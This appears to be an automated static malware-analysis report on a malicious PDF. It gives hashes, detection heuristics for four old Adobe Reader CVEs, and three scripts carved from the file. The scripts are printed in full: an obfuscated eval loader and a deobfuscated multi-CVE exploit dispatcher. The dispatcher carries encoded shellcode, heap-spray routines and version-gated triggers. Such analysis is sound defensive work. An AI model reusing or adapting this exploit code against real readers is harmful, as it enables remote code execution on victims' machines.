Malicious PDF — malware analysis report

Static analysis result for SHA-256 31c902355a12edf7…

MALICIOUS

PDF

32.8 KB Created: 2010-07-25 10:32:51 First seen: 2012-10-11
MD5: 53260788d0ccceb45fcebf639c292261 SHA-1: ab51c8fca278f027f21d1b6ed2e5feb2e15af6d1 SHA-256: 31c902355a12edf78dc421ac8bfb649877e2225fec25bbe51dee122f3fcf911f
448 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x7F29 798 bytes
SHA-256: da0e66527ec53f85e4a0402806c1fd42402b58235403b3ea601033ae0a435709
Preview script
First 1,000 lines of the extracted script
zm = (function(){return this;}).call(null);
bwv = new Date();
var yk='';
var zho = 'e'+(parseInt(bwv.getFullYear())-1)+'a'+yk+'l';
dvk=zm[zho.replace('2009','v')];
function gye(){
	var ba='',pvx=[];
	var yk='';
	dvk('va'+yk+'r vqwc=th'+yk+'i'+yk+'s');
	dvk('va'+yk+'r qnwz=Str'+yk+'ing.f'+yk+'romC'+yk+'harCode');
	var xgn='prod' + bwv.getFullYear()+'er';
	var bmc = vqwc[xgn.replace('2010','uc')];
	var la = '' + bwv.getFullYear() + yk + 'i'+yk+'t';
	var qf = 's' + la.replace('2010','pl');
	var bm='2010';
	bm = bm.replace(bwv.getFullYear(),'');
	dvk('va'+bm+'r n' + yk + 'r=[' + bmc + bm + ']');
	var ocb = nr;
	knjg='le'+yk+'ng'+yk+'th';
	var kdud = ocb[knjg] / 2;
	for (var eqld = 0; eqld < kdud; eqld++) {
		ba += qnwz(ocb[eqld+kdud] - ocb[eqld]);
	}
	return ba;
	}
	var zp=gye();
	dvk(zp);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3614 bytes
SHA-256: b046824bf082e13f7fbcbd41b188cc7d12832b3543edad884771f7970ba68f26
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var wa='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uac34%ue2aa%uc3fa%ue5e8%uffff%u45ff%uada0%uacac%u2df2%uf040%uacad%u25ac%u214b%ubce3%uc321%u9df8%ufb77%ufffd%uffff%uffff%uffff%ufff9%uc4ff%uada8%uacac%ufaf9%uc4ff%uc2c3%uacac%ud9c4%uc0de%uf8c1%u22c4%ua2e2%u4440%uace4%uacac%u44fc%uacd0%uacac%u7c53%u682f%uc4a4%u43e3%ua9e3%u44fc%uacc0%uacac%u7c53%u6c29%ubbd9%uf8c6%u5ff5%uc406%u52de%uba1f%ub144%uacac%ufcac%ufd44%uacac%u53ac%uff7c%u52c6%u25c4%uadc3%u4411%uaca4%uacac%u44fc%uac90%uacac%u7c53%u9dcc%uc86c%ufc27%u279c%ua0fe%ufe27%u27b8%u84de%ub415%uacac%u9dac%u9d53%u006c%ucd90%uaed0%u8c80%u636d%uada1%u4e6b%u2d5c%uf753%ue610%u27c6%ubcee%ube27%u75d9%ue825%ub088%u6fcd%u27cc%u88c0%u2788%u90e9%uf827%ud4a9%u46ad%ue627%u27b4%u8cf6%u47ad%u984f%u27e5%u2798%u42ad%u539d%u6c9d%u0050%u6c28%uabd8%u636d%uada1%u476b%u9758%u88d0%ud984%u274d%u88f6%u47ad%u27ca%ue7a0%uf627%uadb0%u2747%u27a8%u44ad%ue825%ub088%u6ecd%uaca4%u4344%u5352%uc453%ud8d8%u96dc%u8383%udbcb%u9f9f%ucf82%u82d6%ucfcf%uc883%udc82%udcc4%uca93%u9e91%u8a9b%u91c9%uac9f';function nau(gtd,lwk){while(gtd.length*2<lwk){gtd+=gtd;}
gtd=gtd.substring(0,lwk/2);return gtd;}
function umvt(){var osdj=new Array();var pun=0x0c0c0c0c;var addr=0x400000;var payload=unescape(wa);var sc_len=payload.length*2;var lwk=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=nau(yarsp,lwk);var count2=(pun-0x400000)/addr;for(var count=0;count<count2;count++){osdj[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(wa);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(wa);var hWq500CN=payload.length*2;var lwk=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=nau(yarsp,lwk);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){umvt();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(wa);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3610 bytes
SHA-256: ce9e60fdf61308b095cf11aaae4a420e44a2bc49bfa8f1334bc087fcfc57c430
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var wa='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uac34%ue2aa%uc3fa%ue5e8%uffff%u45ff%uada0%uacac%u2df2%uf040%uacad%u25ac%u214b%ubce3%uc321%u9df8%ufb77%ufffd%uffff%uffff%uffff%ufff9%uc4ff%uada8%uacac%ufaf9%uc4ff%uc2c3%uacac%ud9c4%uc0de%uf8c1%u22c4%ua2e2%u4440%uace4%uacac%u44fc%uacd0%uacac%u7c53%u682f%uc4a4%u43e3%ua9e3%u44fc%uacc0%uacac%u7c53%u6c29%ubbd9%uf8c6%u5ff5%uc406%u52de%uba1f%ub144%uacac%ufcac%ufd44%uacac%u53ac%uff7c%u52c6%u25c4%uadc3%u4411%uaca4%uacac%u44fc%uac90%uacac%u7c53%u9dcc%uc86c%ufc27%u279c%ua0fe%ufe27%u27b8%u84de%ub415%uacac%u9dac%u9d53%u006c%ucd90%uaed0%u8c80%u636d%uada1%u4e6b%u2d5c%uf753%ue610%u27c6%ubcee%ube27%u75d9%ue825%ub088%u6fcd%u27cc%u88c0%u2788%u90e9%uf827%ud4a9%u46ad%ue627%u27b4%u8cf6%u47ad%u984f%u27e5%u2798%u42ad%u539d%u6c9d%u0050%u6c28%uabd8%u636d%uada1%u476b%u9758%u88d0%ud984%u274d%u88f6%u47ad%u27ca%ue7a0%uf627%uadb0%u2747%u27a8%u44ad%ue825%ub088%u6ecd%uaca4%u4344%u5352%uc453%ud8d8%u96dc%u8383%udbcb%u9f9f%ucf82%u82d6%ucfcf%uc883%udc82%udcc4%uca93%u9e91%u8a9b%u91c9%uac9f';function nau(gtd,lwk){while(gtd.length*2<lwk){gtd+=gtd;}
gtd=gtd.substring(0,lwk/2);return gtd;}
function umvt(){var osdj=new Array();var pun=0x0c0c0c0c;var addr=0x400000;var payload=unescape(wa);var sc_len=payload.length*2;var lwk=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=nau(yarsp,lwk);var count2=(pun-0x400000)/addr;for(var count=0;count<count2;count++){osdj[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(wa);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(wa);var hWq500CN=payload.length*2;var lwk=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=nau(yarsp,lwk);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){umvt();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(wa);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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